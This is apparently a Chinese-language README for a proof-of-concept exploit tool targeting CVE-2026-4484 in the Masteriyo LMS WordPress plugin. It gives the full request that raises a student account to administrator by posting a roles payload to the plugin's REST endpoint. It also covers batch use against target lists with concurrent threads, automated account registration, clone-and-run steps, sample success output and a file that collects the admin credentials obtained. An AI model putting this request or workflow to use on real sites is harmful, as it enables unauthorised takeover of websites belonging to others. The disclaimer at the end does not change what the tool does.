Masteriyo LMS <= 2.1.6 - 缺失授权导致已认证(学生+)权限提升至管理员
描述:
WordPress 的 Masteriyo LMS 插件在直至并包含 2.1.6 的所有版本中存在权限提升漏洞。该漏洞源于 InstructorsController::prepare_object_for_database 函数,该函数在 REST API 请求期间未能正确限制角色分配。拥有低至学生级别访问权限的已认证攻击者可以构造特制的 POST 请求发送至 Masteriyo REST API 端点 — 在请求负载中注入 "roles": ["administrator"] — 从而在不经任何管理员交互的情况下,将其账户静默提升为 WordPress 管理员,实现完全接管站点。
这是一个针对运行存在漏洞版本的 Masteriyo LMS 插件的 WordPress 站点的**概念验证(PoC)**利用脚本。该工具支持两种攻击模式:
| 模式 | 名称 | 流程 | 适用场景 |
|---|---|---|---|
| 1 | Nx_1 | 注册 → 登录 → 提权 → 验证管理员 | 全新攻击 — 无需已有账户 |
[Register / Login as Student]
↓
[Fetch Dashboard Context — user_id + nonce]
↓
[POST /wp-json/masteriyo/v1/users/instructors/{id}]
[Payload: {"roles": ["administrator"]}]
↓
[Re-login with fresh session]
↓
[Verify /wp-admin access → confirmed Administrator]
↓
[Write to Login_admin.txt]
pip install requests urllib3 colorama
或通过 requirements 文件安装:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-4484.git
cd CVE-2026-4484
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-4484.py
python3 CVE-2026-4484.py
该工具使用交互式终端界面 — 所有参数均在运行时提示输入。
创建一个纯文本文件(例如 list.txt),每行一个目标:
https://target1.com
https://target2.com
http://target3.com/wordpress
当你在目标站点上没有已有账户时使用此模式。该工具会自动注册一个新的学生账户,然后将其提权。
Select mode (1=Nx_1, 2=Nx_2) [2]: 1
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username to register (Nx_1) [Nxploited]: Nxploited
Email to use for registration+login (Nx_1) [[email protected]]: [email protected]
Password to use (Nx_1) [Nx_admin]: Nx_admin123!
自动执行的步骤:
/account/signup/ → 提取注册 nonce/st/ → 注册新账户为学生/account/ → 提取登录 nonce/wp-admin/admin-ajax.php → 通过 Masteriyo AJAX 登录/account/#/dashboard → 提取 current_user_id + nonce/wp-json/masteriyo/v1/users/instructors/{id},请求体为 {"roles":["administrator"]}Login_admin.txt当你已经拥有目标站点上有效的学生或讲师账户时使用此模式。
Select mode (1=Nx_1, 2=Nx_2) [2]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username or Email for login+escalation (Nx_2) [admin]: [email protected]
Password for that user: mypassword
自动执行的步骤:
/account/ → 提取登录 nonce/wp-admin/admin-ajax.php → 通过 Masteriyo AJAX 登录/account/#/dashboard → 提取 current_user_id + nonce/wp-json/masteriyo/v1/users/instructors/{id},请求体为 {"roles":["administrator"]}Login_admin.txt| 文件 | 描述 |
|---|---|
Login_admin.txt | 所有确认成功的管理员提权目标 |
https://target.com/wp-login.php user:[email protected]|pass:Nx_admin123!
[OK] https://target.com :: LOGIN OK :: success
[OK] https://target.com :: DASHBOARD :: user_id=42 nonce=a1b2c3d4e5
[OK] https://target.com :: ESCALATE SUCCESS :: user_id=42 username=nxploited roles=['administrator']
[OK] https://target.com :: ADMIN SESSION VERIFIED (dashboard + plugin-install access).
POST /wp-json/masteriyo/v1/users/instructors/{user_id}
{
"roles": ["administrator"]
}
Content-Type: application/json
X-WP-Nonce: <extracted_from_dashboard>
Masteriyo LMS 中的 InstructorsController::prepare_object_for_database 函数在处理 REST 请求体中的 roles 参数时,未验证请求用户是否具有 edit_users 或 promote_users 权限。任何能够访问该端点的已认证用户(学生级别或以上)都可以提交任意的角色值 — 包括 administrator — 该值随后会被直接持久化写入 WordPress 用户元数据表。
此工具仅用于教育和经授权的安全研究目的。
作者 Nxploited (Khaled Alenazi) 及本项目的所有贡献者不纵容、不支持本工具的任何滥用行为,也不会承担因在未经你明确书面授权的系统上使用本软件而造成的任何损害的责任。
- ✅ 允许: 用于你拥有或已获得明确书面授权测试的系统。
- ❌ 禁止: 在未经系统所有者事先明确书面授权的情况下,针对任何系统使用本工具。
未经授权访问计算机系统是违法的,并将根据适用法律受到处罚,包括但不限于《计算机欺诈与滥用法》(CFAA)、《计算机滥用法》(CMA)以及全球范围内的同等法律。
使用此工具即表示您对自己的行为承担全部责任,并确认您拥有测试目标系统的法律授权。
作者对因使用或滥用本软件而产生的任何直接、间接、偶然或后果性损害不承担任何责任。
© 2026 Nxploited (Khaled Alenazi) — 仅限经授权的安全研究使用。
| 字段 | 详情 |
|---|
| CVE ID | CVE-2026-4484 |
| 严重性 | 高危 — CVSS v3.1 评分:8.8 |
| 攻击向量 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 受影响软件 | WordPress 的 Masteriyo LMS 插件 |
| 受影响版本 | 直至并包含 2.1.6 的所有版本 |
| 漏洞类型 | 权限提升(角色操纵) |
| 所需认证 | 是 — 学生级别或以上 |
| CWE | CWE-269:权限管理不当 |
| 2 |
Nx_2 |
| 登录 → 提权 → 验证管理员 |
| 已有账户(学生/讲师) |